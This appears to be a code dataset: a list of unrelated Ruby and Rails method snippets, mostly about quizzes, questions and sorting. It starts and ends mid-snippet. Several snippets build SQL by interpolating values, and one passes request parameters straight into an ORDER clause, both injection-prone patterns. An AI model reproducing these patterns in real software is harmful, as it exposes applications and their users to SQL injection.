ApplicationController.engine_connection.query(\"\n SELECT quizzes.id, \n COUNT(quiz_instances.id),\n COUNT(DISTINCT quiz_instances.session_key),\n SUM(quiz_instances.nb_answers)\n FROM quizzes, quiz_instances\n WHERE quiz_instances.quiz_id = quizzes.id AND\n quizzes.quiz_key = '#{id}'\n GROUP BY quizzes.id\").fetch_row\n quiz_engine_id = Integer(row[0])\n stats = {\n :nb_quiz_instances => Integer(row[1]),\n :nb_users => Integer(row[2]),\n :nb_answers => Integer(row[3])\n }\n \n # get the questions from the quiz engine\n hash_question_id_stats = {}\n res = ApplicationController.engine_connection.query(\"\n SELECT questions.question_key, \n questions.id, \n questions.discrimination,\n questions.interest,\n questions.popularity,\n questions.confidence,\n quiz_questions.nb_answers\n FROM quiz_questions, questions\n WHERE quiz_questions.quiz_id = #{quiz_engine_id} AND\n questions.id = quiz_questions.question_id\n ORDER BY questions.popularity DESC\")\n ranking_index = 1\n while row = res.fetch_row do \n hash_question_id_stats[q_key = Integer(row[0])] = {\n :question_key => q_key,\n :discrimination => Float(row[2]),\n :interest => Float(row[3]),\n :popularity => Float(row[4]),\n :confidence => Float(row[5]),\n :nb_answers => Integer(row[6]),\n :ranking => ranking_index }\n ranking_index += 1\n hash_question_id_stats[q_key][:choices] = Question.stats_from_engine(quiz_engine_id, Integer(row[1]))\n end\n stats[:question_stats] = hash_question_id_stats.collect { |p_key, stat| stat } \n stats[:question_stats].sort! { |h1, h2| h2[:popularity] <=> h1[:popularity] }\n \n # get the products from the quiz engine\n hash_product_id_stats = {}\n res = ApplicationController.engine_connection.query(\"\n SELECT products.product_key, \n quiz_products.popularity,\n quiz_products.nb_selected,\n quiz_products.nb_rejected,\n quiz_products.nb_buy,\n quiz_products.nb_details\n FROM quiz_products, products\n WHERE quiz_products.quiz_id = #{quiz_engine_id} AND\n products.id = quiz_products.product_id\n ORDER BY quiz_products.popularity DESC\")\n ranking_index = 1\n while row = res.fetch_row do \n hash_product_id_stats[p_key = Integer(row[0])] = {\n :product_key => p_key,\n :popularity => Integer(row[1]),\n :nb_selected => Integer(row[2]),\n :nb_rejected => Integer(row[3]),\n :nb_buy => Integer(row[4]),\n :nb_details => Integer(row[5]),\n :ranking => ranking_index }\n ranking_index += 1\n end\n stats[:product_stats] = hash_product_id_stats.collect { |p_key, stat| stat } \n stats[:product_stats].sort! { |h1, h2| h1[:ranking] <=> h2[:ranking] } \n stats\n end", "def index\n @quizzes = @topic.quizzes\n end", "def index\n if user_signed_in? && current_user.admin?\n @quizzes = Quiz.all.order(due_date: :asc)\n elsif user_signed_in?\n @quizzes = current_user.enrolled_courses.first.quizzes.order(due_date: :asc)\n else\n redirect_to root_url, notice: \"Sorry, you need to sign in first.\"\n end\n end", "def index\n @quizzes = Quiz.all\n end", "def index\n @quizzes = Quiz.all\n end", "def index\n @quizzes = Quiz.all\n end", "def index\n @quizzes = Quiz.all\n end", "def index\n @quizzes = Quiz.all\n end", "def index\n @faqs = Faq.joins(:rating).order('total').distinct.reverse.group_by(&:faq_section_id)\n end", "def index\n @quizzes = Quiz.all\n @questions\n @count\n end", "def index\n @quiz_results = current_student.quiz_results\n @unfiltered_quizzes = current_student.classroom.teacher.quizzes\n @quizzes = Quiz.TakeableQuizzes(@unfiltered_quizzes, @quiz_results)\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end", "def do_some_business_logic\n # ...\n\n puts 'Context: Sorting data using the strategy (not sure how it\\'ll do it)'\n result = @strategy.do_algorithm(%w[a b c d e])\n print result.join(',')\n\n # ...\n end", "def collect_compare_priority\n @compare_quque = []\n @compare_quque = ComparisonTable.sort_by{|k, dar|\n DisplayOrder[StringTable[dar.first]] ? DisplayOrder[StringTable[dar.first]] : DisplayOrder[MISC_text]\n }.collect{|p| p[0]}\n end", "def quiz\n end", "def show_all_quant_tests\n @quizzes = Quiz.store_quant_section_quizzes(current_user)\n @quizzes = load_words_for_quizzes(@quizzes)\n \n @name = \"Quant tests\"\n render \"show_all_tests\"\n end", "def ordered_by_qualifications (collection)\n collection.sort_by {|x| [x[:years_of_experience], x[:github_points]]}.reverse!\nend", "def index\n \n # generate store entities.\n @store_entities = generate_store_entities\n \n # Load words for each quiz.\n @store_entities.each do |entity_name_quizzes|\n load_words_for_quizzes(entity_name_quizzes[:quizzes])\n end\n \n end", "def index\n @survey_quizzes = @survey_questionnaires = policy_scope(@cohort.quizzes)\n end", "def index\n @quizzes_answers = Quizzes::Answer.all\n end", "def load_words_for_quizzes(quizzes)\n dictionary = Dictionary.all().shuffle()\n if quizzes\n quizzes.each do |quiz|\n quiz.word = dictionary.pop()\n end\n quizzes\n else\n []\n end\n end", "def ordered_by_qualifications(candidates)\n ordered_candidates = candidates.sort_by { |candidate| [candidate[:years_of_experience], candidate[:github_points]] }\n return (ordered_candidates).reverse\n\n # @ordered_by_qualifications = []\n\n # candidates.each do |candidate|\n # years_exp s=candidate[:years_of_experience]\n # @ordered_by_qualifications << years_exp\n # if years_exp == years_exp += 1\n # candidate[:github_points] > candidate[github_points] += 1\n # end \n \n # end\n # return @ordered_by_qualifications.sort!.reverse\n #This line returns the values 12..1 \n # return @ordered_by_qualifications.sort!.reverse\nend", "def sort_results(results)\n case @metadata[:sort]\n when \"new\"\n results.sort_by do |c|\n [c.set.regular? ? 0 : 1, -c.release_date_i, c.default_sort_index]\n end\n when \"old\"\n results.sort_by do |c|\n [c.set.regular? ? 0 : 1, c.release_date_i, c.default_sort_index]\n end\n when \"newall\"\n results.sort_by do |c|\n [-c.release_date_i, c.default_sort_index]\n end\n when \"oldall\"\n results.sort_by do |c|\n [c.release_date_i, c.default_sort_index]\n end\n when \"cmc\"\n results.sort_by do |c|\n [c.cmc ? 0 : 1, -c.cmc.to_i, c.default_sort_index]\n end\n when \"pow\"\n results.sort_by do |c|\n [c.power ? 0 : 1, -c.power.to_i, c.default_sort_index]\n end\n when \"tou\"\n results.sort_by do |c|\n [c.toughness ? 0 : 1, -c.toughness.to_i, c.default_sort_index]\n end\n when \"rand\"\n results.sort_by do |c|\n [Digest::MD5.hexdigest(@query_string + c.name), c.default_sort_index]\n end\n when \"number\"\n results.sort_by do |c|\n [c.set.name, c.number.to_i, c.number, c.default_sort_index]\n end\n when \"color\"\n results.sort_by do |c|\n [COLOR_ORDER.fetch(c.colors), c.default_sort_index]\n end\n when \"ci\"\n results.sort_by do |c|\n [COLOR_ORDER.fetch(c.color_identity), c.default_sort_index]\n end\n when \"rarity\"\n results.sort_by do |c|\n [-c.rarity_code, c.default_sort_index]\n end\n else # \"name\" or unknown key\n results.sort_by(&:default_sort_index)\n end\n end", "def execute\n perform_filtration.then(&method(:sort))\n end", "def refresh_precomputations\n # tsort nodes\n update(tsorted_nodes: nil)\n tsorted_question_ids\n\n # survey_question_order\n load_survey_question_order\n end", "def index\n if @user\n @equizzes = []\n if params[:subject]\n if Subject.find_by_name(params[:subject])\n @quizzes = @user.quizzes.where(:subject => Subject.find_by_name(params[:subject]),:enabled => true)\n\telse\n\t @quizzes = []\n\tend\n else\n @quizzes = @user.quizzes\n end\n @quizzes.each do |q|\n @equizzes << q.as_json.merge({unattempted: q.unattempted(@user).shuffle, numquestions: q.questions.count})\n end\n render :json => {quizzes:@equizzes,hearts:@user.hearts}.to_json\n else \n render text: \"Token failed verification\", status: 422\n end\n end", "def refd_qings\n return @refd_qings if defined?(@refd_qings)\n qings = display_conditions.map(&:ref_qing) + skip_rules.flat_map(&:ref_qings)\n @refd_qings = qings.uniq.sort_by(&:full_rank)\n end", "def show\n @quiz_instance = QuizInstance.find( :first,\n :conditions => [ 'quiz_instance_uuid = ?', params[ :qiid ] ] )\n #:include => { :quiz => { [ :quiz_phases => { :conditions => [ 'position = ?', @quiz_page ] } ] => { :quiz_questions => { :quiz_answers => :user_quiz_answers } } } } )\n\n @qiid = params[ :qiid ]\n @quiz = @quiz_instance.quiz\n if params[ :ppos ] == 'end'\n @quiz_page = @quiz.quiz_phases.last.position\n @quiz_phase = @quiz.quiz_phases.last\n else\n if params[ :ppos ]\n @quiz_page = params[ :ppos ]\n else\n # if no position is supplied, we'll want to leave them at the step AFTER the one they left off on.\n if @quiz_instance.user_quiz_answers.size > 0\n last_phase_position = UserQuizAnswer.all(\n :conditions => [ 'quiz_instance_id = ?', @quiz_instance.id ],\n :include => { :quiz_answer => { :quiz_question => :quiz_phase } }\n ).sort {\n |a,b| a.quiz_answer.quiz_question.quiz_phase.position <=> b.quiz_answer.quiz_question.quiz_phase.position\n }.reverse[ 0 ].quiz_answer.quiz_question.quiz_phase.position\n \n @quiz_page = last_phase_position\n else\n @quiz_page = 1\n end\n end\n\n @quiz_phase = QuizPhase.find(\n :first,\n :conditions => [ 'quiz_id = ? AND position = ?', @quiz.id, @quiz_page ],\n :include => { :quiz_questions => :quiz_answers } )\n end\n \n if @quiz_page\n @existing_quiz_answers =\n UserQuizAnswer.all(\n :conditions => \"quiz_instance_id = #{@quiz_instance.id} AND\n quiz_phases.position = #{@quiz_phase.position}\",\n :joins => { :quiz_answer => { :quiz_question => [ :quiz_phase ] } },\n :include => { :quiz_answer => :quiz_learning_blurb } )\n end\n\n if @quiz_phase.position == 1\n load_previous_quiz_instance\n end\n\n @total_quiz_questions = QuizQuestion.count(\n :conditions => [ 'quizzes.id = ? and quiz_questions.active = 1', @quiz.id ],\n :joins => { :quiz_phase => :quiz }\n )\n\n if params[ :format ] == 'html'\n render :file => 'quiz_instances/show', :layout => 'af-entertainment'\n else\n render :file => 'quiz_instances/show.xml'\n end\n \n end", "def index\n @admin_faqs = Admin::Faq.order(:sort_id)\n end", "def order\n end", "def ordering_query; end", "def results_list\n res = competitors.active.to_a\n res.sort!{|a, b| a.sorting_overall_place <=> b.sorting_overall_place}\n end", "def my_quick_sort(&prc)\n\n end", "def ordered_by_qualifications(candidates)\n sortedCandidates = candidates.sort_by! { |candidate| [candidate[:years_of_experience], candidate[:github_points]] }\n return sortedCandidates.reverse! \nend", "def arrange\n\t\t\n\tend", "def ordered_by_qualifications(candidates)\n if [:years_of_experience] == [:years_of_experience]\n @candidates.sort_by { |experience| experience[:years_of_experience] }.reverse\n else\n @candidates.sort_by { |github| github[:github_points]}.reverse\n end\nend", "def get_quest\n\t\tget_data\n\n\t\t$finish = false\n\t\tunless $finish == true\n\t\t\t$randId = rand(0...(@data.length-1))\n\t\t\twhile $quiz_arr.include?(@data[$randId]['id'])\n\t\t\t\t$randId = rand(0...(@data.length-1))\n\t\t\tend\n\t\t\t$quiz_arr.push(@data[$randId]['id'])\n\t\t\t$i += 1\n\n\t\t\tif $i == 7\n\t\t\t\t$finish = true\n\t\t\tend\n\n\t\t\t@quest = @data[$randId]['question_name']\n\t\t\t@c_answer = @data[$randId]['c_answer']\n\t\t\t@alt1 = @data[$randId]['alt1']\n\t\t\t@alt2 = @data[$randId]['alt2']\n\t\t\t@alt3 = @data[$randId]['alt3']\n\t\t\t@imgurl = @data[$randId]['imgurl']\n\t\t\t@url = @data[$randId]['news_url']\n\t\t\t@cat = @data[$randId]['category_id']\n\t\t\t@hex = @data[$randId]['category_hex_code']\n\t\t\tget_descriptions(@url)\n\t\t\t@image = @desc_data['image']\n\n\t\t\t$answer_array = Array.new()\n\t \tend\n\tend", "def index\n if params[:quiz_id]\n @quiz = Quizzes::Quiz.find(params[:quiz_id])\n @quizzes_questions = @quiz.questions\n else\n @quizzes_questions = Quizzes::Question.all\n end\n end", "def take_quiz\n end", "def index\n question = Question.all\n if user_signed_in?\n question.each do |a|\n current_user.assigns.each do |b|\n if b.question_id == a.id\n a.update_attributes(assign: 1)\n end\n end\n end\n end\n if @is_mentor == false\n if params[:sort] ==\"qpoint1\"\n @questions = Question.sorted_by_qpoint\n elsif params[:sort] == \"qpoint2\"\n @questions = Question.sorted_by_qpoint2\n\n elsif params[:sort] ==\"category_name\"\n @questions = Question.sorted_by_category_name\n elsif params[:sort] ==\"caneval\"\n @questions = Question.sorted_by_caneval\n elsif params[:sort] ==\"created_at\"\n @questions = Question.order('created_at ASC' )\n else\n @questions = Question.order(params[:sort])\n\n end\n end\n if params[:sort] ==\"qpoint1\"\n @questions = Question.sorted_by_qpoint\n elsif params[:sort] ==\"qpoint2\"\n @questions = Question.sorted_by_qpoint2\n elsif params[:sort] ==\"category_name\"\n @questions = Question.sorted_by_category_name\n elsif params[:sort] ==\"caneval\"\n @questions = Question.sorted_by_caneval\n elsif params[:sort] == \"created_at\"\n @questions = Question.order(\"created_at DESC\").all\n elsif params[:sort] == \"assign\"\n @questions = Question.order(\"assign DESC\").all\n else\n @questions = Question.order(params[:sort])\n end\n\n end", "def ordered_by_qualifications(candidates)\n candidates.sort_by{ |candidate| [candidate[:years_of_experience], candidate[:github_points]] }\n .reverse\n\nend", "def test_loop(type, quiz_name, quiz, user_name, time)\r\n clear\r\n # Initialize the array container for all necessary arguments\r\n status = []\r\n total_score = 0\r\n correct_count = 0\r\n incorrect_count = 0\r\n result = nil\r\n right_answer = nil\r\n start_time = 0\r\n status.push(total_score).push(correct_count).push(incorrect_count)\r\n # Loop the length of the quiz collection times to finish the test\r\n (1..quiz['Content'].size).each do |i|\r\n # Workaround timeout method by using the timeout libray in Ruby which automatically terminate the previous thread in a setting time\r\n Timeout.timeout(time) do\r\n clear\r\n # Get the start time stamp for future score calculation\r\n start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC)\r\n # Displaying the question content and prompt for selection\r\n puts '-------------------Time is ticking:D---------------------------'.colorize(:light_magenta)\r\n puts 'You have get ' + (status[1]).to_s.colorize(:light_yellow) + ' correct answer(s) so far. And the total score is' + \" #{status[0]}.\\n\\n\".colorize(:light_blue)\r\n puts \"Question #{i}.\".colorize(:blue) + \" #{quiz['Content'][i - 1]['Question']}\\n\\n\"\r\n right_answer = quiz['Content'][i - 1]['Right_answer']\r\n\r\n # According to the selection, invoke the vailidat_answer method and pass necessary attributes\r\n options = [\r\n { name: \"A. #{quiz['Content'][i - 1]['A']}\", value: lambda {\r\n result = 'A'\r\n return result, right_answer, status, start_time, time\r\n } },\r\n { name: \"B. #{quiz['Content'][i - 1]['B']}\", value: lambda {\r\n result = 'B'\r\n return result, right_answer, status, start_time, time\r\n } },\r\n { name: \"C. #{quiz['Content'][i - 1]['C']}\", value: lambda {\r\n result = 'C'\r\n return result, right_answer, status, start_time, time\r\n } },\r\n { name: \"D. #{quiz['Content'][i - 1]['D']}\", value: lambda {\r\n result = 'D'\r\n return result, right_answer, status, start_time, time\r\n } }\r\n ]\r\n option = @prompt.select(\r\n \"Please select the answer as fast as you can to gain more score.\\nIf you select wrong answer or time expired, you will not get the score for Question #{i}\", options, help: \"(Pressing Enter to go back)\\n\\n\\n\", show_help: :always, per_page: 4\r\n )\r\n end\r\n validate_answer(result, right_answer, status, start_time, time)\r\n # If time expired, then apply the following logic to assian attribute to validate method\r\n rescue Timeout::Error\r\n clear\r\n timeout_banner\r\n puts\r\n puts \"\\n\\nOh, no!!! The #{time}s haven been passed.\"\r\n start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC)\r\n right_answer = quiz['Content'][i - 1]['Right_answer']\r\n result = 'expired'\r\n validate_answer(result, right_answer, status, start_time, time)\r\n end\r\n\r\n clear\r\n test_banner\r\n puts\r\n puts \"Well done, My friend. You did a great job! Let's see waht the results is.\"\r\n enter_to_continue\r\n mode = @test.time_level.key(time)\r\n # Gather all the necessary attributes and form a array\r\n status.push(type).push(quiz_name).push(user_name).push(mode)\r\n # After finsih the test loop, pass attribute array to display result and save method\r\n dispaly_result_and_save(status)\r\n end", "def my_quick_sort(&prc)\n end", "def print_results(data_set)\n\tdata_set.each_pair do |key, value|\n\t\tputs \"key is: \" + key\n\n\t\tanswer_array = value.sort_by {|k, v| v}.reverse\n\n\t\tnames = \"\"\n\n\t\tanswer_array.each do |answer_obj|\n\t\t\tnames = names + \"#{answer_obj[0]},\"\n\t\tend\n\t\tprint \"#{names[0..-2]}\\n\"\n\n\t\tvalues = \"\"\n\t\tanswer_array.each do |answer_obj|\n\t\t\tvalues = values + \"#{answer_obj[1]},\"\n\t\tend\n\t\tprint \"#{values[0..-2]}\\n\"\n\tend\nend", "def index\n @keyword_quizzes = KeywordQuiz.all\n end", "def ask\n\t@posts = Post.order(sort_column_votes + \" \" + sort_direction)\n\t@posts = @posts.tipo(\"ask\")\n @contador = 0\n\n end", "def index\n @quakes = Quake.all.order(\"created_at desc\")\n end", "def sort_my_list\n @tracks.clear\n @artists.clear\n @genres.clear\n @user_list.each do |item|\n @tracks << item['id'] if item['type'] == 'track'\n @artists << item['id'] if item['type'] == 'artist'\n @genres << item['name'].downcase if item['type'] == 'genre'\n end\n end", "def order_by_user\n\n\t@questions = Question.find(:all, :conditions => {:survey_id => params[:survey_id]}, :order => 'question_number')\n\t@survey = Survey.find(:first, :conditions=> {:id => params[:survey_id]})\n\nend", "def index\n current_user = User.find(params[:user_id])\n role = current_user.role\n if role == \"doc\"\n @quizzes = []\n Quiz.all.each do |q|\n # Quiz.where({published: true}).each do |q|\n r = Result.where(quiz_id: q.id)\n if r.size != 0\n @quizzes << q.add_result_status(r.first.published)\n else \n @quizzes << q.add_result_status(false)\n end\n end\n else\n if params[\"status\"]\n quizzes = []\n u = User.find(params[:user_id])\n Quiz.where({published: true}).each do |q|\n if has_student(q.gropus, u)\n r = Result.where({user_id: current_user.id, quiz_id: q.id})\n if r.size != 0\n quizzes << q.add_result_status(r.first.published)\n end\n end\n end\n @quizzes = quizzes\n else\n @quizzes = Quiz.where({published: true})\n end\n end\n\n render json: @quizzes\n end", "def qsort(arr)\nend", "def collection_order(items) #nicer collection method - the unnecessary loops and arrays. (task 6)\n\n item_indexes = []\n collection_order = []\n\n for item in items\n item_indexes << find_index_at_value(item)\n end\n\n sorted_indexes = item_indexes.sort\n\n for index in sorted_indexes\n collection_order = collection_order << WAREHOUSE[index].keys[0].to_s\n end\n\nreturn collection_order\n\nend", "def unprocessed_results\n unprocessed_results = []\n self.design_review_results.each do |drr|\n unprocessed_results << drr unless drr.complete?\n end\n unprocessed_results.sort_by { |result| result.reviewer.last_name }\n end", "def index\n @quizzes = Quiz.all.where(lesson_id: current_lesson.id)\n end", "def askQuestion(timeframe=1*DAY_TO_SECONDS)\n facts = @kb.getFacts(timeframe)\n while facts.length > 0\n fact = facts.sample\n matched = []\n @qat.each do |qat|\n ismatch = qat.matches(fact)\n matched.push(ismatch) if ismatch\n end\n qat,matchesArr = matched.sample\n if not qat #matching failed to match QAT and Tag\n facts = facts - [fact]\n next\n else\n #write question\n question,answers = qat.generateQuestionAnswerPair(fact,matchesArr)\n answers = [answers]\n if qat.aconds.first[:type] and qat.aconds.first[:type].include? 'list'\n similar = @kb.getSimilar(fact,timeframe,(not qat.aconds.first[:type].include? 'anysubclass'))\n similar.each do |simfact|\n answers << qat.generateQuestionAnswerPair(simfact,matchesArr)[1]\n end\n end\n puts \"Question:#{question}\"\n puts \"Possible Answers:#{answers.map {|a| a.gsub(\"\\n\",\"\")}}\"\n return [question,answers]\n end\n end\n return false\n end", "def hows_by_alphabetical_order\nend", "def query(collection, q)\n case q\n when String:\n collection.pages.values.find_all do |page|\n page.include? q\n end.sort { |a, b| b.rank <=> a.rank}.map do |page|\n \"[#{page.title}]\\n\\t[#{page.url}]\\n\\t[#{page.snippet}]\"\n end.join(\"\\n\")\n when Array:\n collection.pages.values.find_all do |page|\n page.includes_any? q\n end.sort { |a, b| b.rank <=> a.rank}.map do |page|\n \"[#{page.title}]\\n\\t[#{page.url}]\\n\\t[#{page.snippet}]\"\n end.join(\"\\n\")\n end\nend", "def show_qualified\n pp ordered_by_qualifications\nend", "def index\n # I used an if statement because I don't know what value can come in\n # prams[:sort]. \n if(params[:sort] == \"needing_help\")then\n questions = Question.needing_help.questionsLimit\n elsif(params[:sort] == \"pending_first\")then\n questions = Question.pending_first.questionsLimit\n else\n questions = Question.latest.questionsLimit\n end\n render_json serialize_models(questions, fields: {questions:index_fields}), :ok\n end", "def show_category_all_tests\n @category = Category.find_by_slug!(params[:category_slug])\n \n if @category\n @quizzes = Quiz.store_category_quizzes(current_user,@category)\n @quizzes = load_words_for_quizzes(@quizzes)\n @name = @category.name\n else\n @quizzes = []\n end\n \n render \"show_all_tests\"\n \n end", "def sort\n @pokers.sort.reverse\n end", "def sort_panes results, display_type, max_scores\n\n #remove wcl before it tries to sort it and fails\n @wcl = results.delete('worldcat')\n #Rails.logger.debug(\"#{__FILE__}:#{__LINE__} results= #{@results.inspect}\")\n #Rails.logger.debug(\"#{__FILE__}:#{__LINE__} requesthost= #{request.host.inspect}\")\n # @catalog_host = get_catalog_host(request.host)\n # Rails.logger.debug(\"#{__FILE__}:#{__LINE__} @catalog_host= #{@catalog_host.inspect}\")\n top1 = top4 = secondary = []\n\n # Sort formats alphabetically for more results\n more = results.sort_by { |key, result| BentoSearch.get_engine(key).configuration.title }\n\n # Remove articles and digital collections from top 4 logic\n @summonArticles = results.delete('summonArticles')\n @digitalCollections = results.delete('digitalCollections')\n @institutionalRepositories = results.delete('institutionalRepositories')\n @libguides = results.delete('libguides')\n # Top 2 are books and articles, regardless of display_type\n #jgr25 top1 << ['summon_bento', results.delete('summon_bento')]\n top1 << ['ebsco_eds', results.delete('ebsco_eds')]\n top4 = top1\n\n if display_type == 'fixed'\n # Pre-populate top4 with our chosen formats and remove them from the results\n top4 << ['Journal', results.delete('Journal')]\n top4 << ['Database', results.delete('Database')]\n end\n\n # Sort the remaining format results by total number of hits\n #results = results.sort_by { |key, result| result.total_items.to_i }\n\n # Sort the remaining format results by max relevancy score\n results = results.sort_by { |key, result| max_scores[key] }\n results = results.reverse\n\n\n if display_type == 'dynamic'\n # Take top2 plus the next 2 formats with the highest result counts\n results.to(2).each do |result|\n top4 << result\n end\n secondary = results.from(3)\n else\n # We already took the top four before sorting\n secondary = results\n end\n\n return top4, secondary, more, @websites, @wcl\n end", "def shuffled_order\n \tnow = DateTime.now\n \t( p.hash + now.hour + now.day*100 ).hash\n end", "def index\n @pizzas = Pizza.all\n pizzanumbers = Array.new(@pizzas.length)\n i = 0\n @pizzas.each do |pizza|\n unless pizzanumbers.include?(pizza.pizzanr)\n pizzanumbers[i] = pizza.pizzanr\n end\n i = i + 1\n end\n p pizzanumbers\n pizzanumbers.sort { |a,b| a.to_i <=> b.to_i }\n @pizzas_small = Array.new(i)\n @pizzas_large = Array.new(i)\n i = 0\n j = 0\n pizzanumbers.each do |number|\n unless number.nil?\n unless Pizza.where(pizzanr: number, grosse: false).first.nil?\n @pizzas_small[i] = Pizza.where(pizzanr: number, grosse: false).select(\"pizzanr\").first.pizzanr\n i = i + 1\n end\n unless Pizza.where(pizzanr: number, grosse: true).first.nil?\n @pizzas_large[j] = Pizza.where(pizzanr: number, grosse: true).select(\"pizzanr\").first.pizzanr\n j = j + 1\n end\n end\n\n end\n end", "def questions\n return Question.none unless committee && user\n Question.joins(:quiz_questions).\n where { |r| r.quiz_questions.quiz_id.in( \n committee.requestable_positions.\n with_statuses_mask( user.statuses_mask ).\n select { quiz_id } ) }.\n order { [ quiz_questions.quiz_id, quiz_questions.position ] }\n end", "def genQuestionaire\n #Table \"questions\" from the database through instance variable \"roster\"\n roster=@DB[:questions]\n #Limit for the iterator that will generate the list of questions\n lim=@number-1\n #Space available\n available=[]\n #This iterator stores the whole database in the \"available\" variable\n #in the form of several \"Question\" objects\n (1..40).each do |index|\n #Paramters for the \"Question\" class are set\n #Question text\n q=roster.first(id: index)[:question].to_s\n #Answer a\n a=roster.first(id: index)[:answerA].to_s\n #Answer b\n b=roster.first(id: index)[:answerB].to_s\n #Answer c\n c=roster.first(id: index)[:answerC].to_s\n #Correct answer\n corr=roster.first(id: index)[:correct].to_s\n #Questions are built\n available.push Question.new q, a, b, c, corr\n end\n \n #The \"available\" variable is randomized and stored in the \"scrambled\" variable\n scrambled=available.shuffle\n \n #This iterator takes the number of questions specified by the users and stores \n #them in the final questionaire\n (0..lim).each do |question|\n @questions.push scrambled[question]\n end\n puts \n end", "def test_order; end", "def prebooking_questions\n\n # this is a patch\n if @url.blank? or @token.blank?\n return []\n end\n\n [\n {\n question: \"How many guests will be riding with you?\", \n choices: [0,1,2,3], \n code: \"guests\"\n },\n {\n question: \"How many attendants will be riding with you?\", \n choices: [0,1,2,3], \n code: \"attendants\"\n },\n {\n question: \"How many mobility devices will you be bringing?\", \n choices: [0,1,2,3], \n code: \"mobility_devices\"\n },\n {\n question: \"What is your trip purpose?\", \n choices: (trip_purposes[\"trip_purposes\"] || \n Config.ride_pilot_purposes.try(:map) {|k,v| {\"name\" => k, \"code\" => v}} || \n []).map{|p| [p[\"name\"], p[\"code\"]]}, \n code: \"purpose\"\n }\n ]\n end", "def placings\n score_ordering = low? ? :asc : :desc\n\n scores.order(disqualified: :asc)\n .order(participated: :desc)\n .order(tier: :asc)\n .order(score: score_ordering)\n .order(tiebreaker_place: :asc)\n end", "def public_quizzes\n quizzes.find_all{|quiz| quiz.public == true }\n end", "def organizeDecResults( decResults, studentHashNames, sheet ) \n # Find values for name and results\n decName = decResults.pop\n name = sheet.translateName( decName )\n strResults = formatAnswersToSimple( sheet.translateAllAnswers(decResults) )\n strAmbig = sheet.translateAllAmbig( decResults )\n sheet.ambiguous_answers = strAmbig\n unless strAmbig == \"\" then\n course = Course.find(self.course_id)\n teacher = Teacher.find(course.teacher_id)\n ambigIssue = Issue.new( :code => 1, :resolved => false,\n :scansheet_id => sheet.id, :teacher_id => teacher.id, \n :name => \"Ambiguous Answers\" )\n ambigIssue.save\n end\n\n # Enter and save data for the sheet\n sheet.name = decName\n sheet.answers_string = decResults\n\n sheet.save\n # Find the student from the given students for a match\n theStudent = findStudentFromName( name, studentHashNames )\n grade = gradeStudent( strResults, self.answer_key ) \n # If found, then handle data from here.\n unless theStudent == nil then\n @newAssignmentStudent = AssignmentsStudents.new({ :assignment_id => self.id,\n :student_id => theStudent.id, :scansheet_id => sheet.id,\n :grade => grade,:results => strResults, :answer_key => self.answer_key })\n theStudent.grade = theStudent.compileGrade\n theStudent.save\n else \n course = Course.find(self.course_id)\n teacher = Teacher.find(course.teacher_id)\n nameIssue = Issue.new( :code => 2, :resolved => false,\n :scansheet_id => sheet.id, :teacher_id => teacher.id,\n :name => \"Name Not Found\" )\n nameIssue.save \n nameArr = name.split(\",\")\n @newStudent = Student.new( :first_name => (\"~\" + nameArr[0]),\n :middle_name => (\"~\" + nameArr[1]), :last_name => (\"~\" + nameArr[2]), :grade => grade,\n :course_id => self.course_id )\n @newStudent.save\n @newAssignmentStudent = AssignmentsStudents.new({ :assignment_id => self.id,\n :student_id => @newStudent.id, :scansheet_id => sheet.id, :grade => grade,\n :results => strResults, :answer_key => self.answer_key} )\n end\n @newAssignmentStudent.save\n end", "def show_questionaires\r\n @quests_pages, @quests = paginate(:questionaires,\r\n :order => 'created_at') \r\n end", "def sort_flavor\n equal = 0\n print \"What flavor do you prefer? \\n> \"\n choice = gets.chomp.downcase\n unless @recommendation == [] # to avoid an empty array going through an each do loop\n # print \"inital equal is #{equal.to_s} \\n\"\n @recommendation.each do |entry|\n # print entry.name\n entry.flavor.each do |flavor|\n if flavor == choice\n equal = equal + 1\n # print \"equal added if equal #{equal.to_s} \\n\"\n end\n end\n # print \"final equal after testing is #{equal.to_s} \\n\"\n if equal == 0\n # print \"final equal is #{equal.to_s}, so delete from recommendations\\n\"\n @recommendation.delete(entry)\n end\n equal = 0 # forget this part\n # print \"equal value is now back to #{equal.to_s}\"\n end\n end\n end", "def solve\n # get the json object from the REST endpoint\n json = readJSONFromUrl($Leading_json_url)\n orders = json['orders']\n allorders = Array.new\n i = 1\n # iterate through the paginated api until there is no more valid orders, and build the allorders array\n while orders.size() != 0\n # get the json from the new page\n url = $Leading_json_url + $Url_page_param + i.to_s\n json = readJSONFromUrl(url)\n # get the orders and append them all into allorders array\n orders = json['orders']\n orders.each{|orderObject| allorders.push(buildOrder(orderObject)) }\n i+=1\n end\n\n # store temp values for output\n # store available cookies output\n retlineone = Hash.new\n # store unfulfilled_orders output\n retlinetwo = Hash.new\n\n available_cookies = json['available_cookies']\n retlineone['remaining_cookies'] = available_cookies\n\n unfulfilled_orders = Array.new\n # start building the unfulfilled_orders array by iterating over each order and see if the cookie count is higher than\n # the available cookies, if it is, then add it to unfulfilled_orders\n allorders.each do |order|\n if !order.isFulfilled\n order.getProducts.each do |product|\n if product.getTitle() == 'Cookie' and getCookie(order.getProducts).getAmount > available_cookies\n unfulfilled_orders.push(order.getId)\n end\n end\n end\n end\n retlinetwo['unfulfilled_orders'] = unfulfilled_orders\n # get all eligible orders to do challenge requirements on\n orderstocheck = eligibleOrders(allorders, available_cookies)\n\n # accomplishes sorting the eligibleorders ()using custom compare method)\n # in descending cookie count and then if there is any repeats, it sorts the repeats so that the lowest id comes first\n orderstocheck.sort!{|a, b| compare(a, b)}.reverse!\n # iterate through each order, and do cases for challenge. Since the list is 'doubly-sorted', a simple iteration down\n # from most to least cookies solves the challenge\n orderstocheck.each do |order|\n # if the cookies of the order is less than currently available cookies, decrement our available_cookies by how\n # much cookies the order has\n if getCookie(order.getProducts).getAmount <= available_cookies\n available_cookies -= getCookie(order.getProducts).getAmount\n else\n # otherwise the amount of cookies the order required was more than what was available, so it is unfulfilled, and\n # added to the array of unfulfilled_orders\n unfulfilled_orders.push(order.getId)\n end\n end\n # ensure that the final unfulfilled_orders array is sorted in ascending order\n unfulfilled_orders.sort!\n # create the hash that represents the output json object\n output_hash = {\n 'remaining_cookies' => available_cookies,\n 'unfulfilled_orders' => unfulfilled_orders\n }\n # get the output json object from the hash representation, in a properly formatted output\n output_json = JSON.pretty_generate(output_hash)\n # return the solved json\n return output_json\nend", "def quick_sort(&prc)\n end", "def proefssorted\n 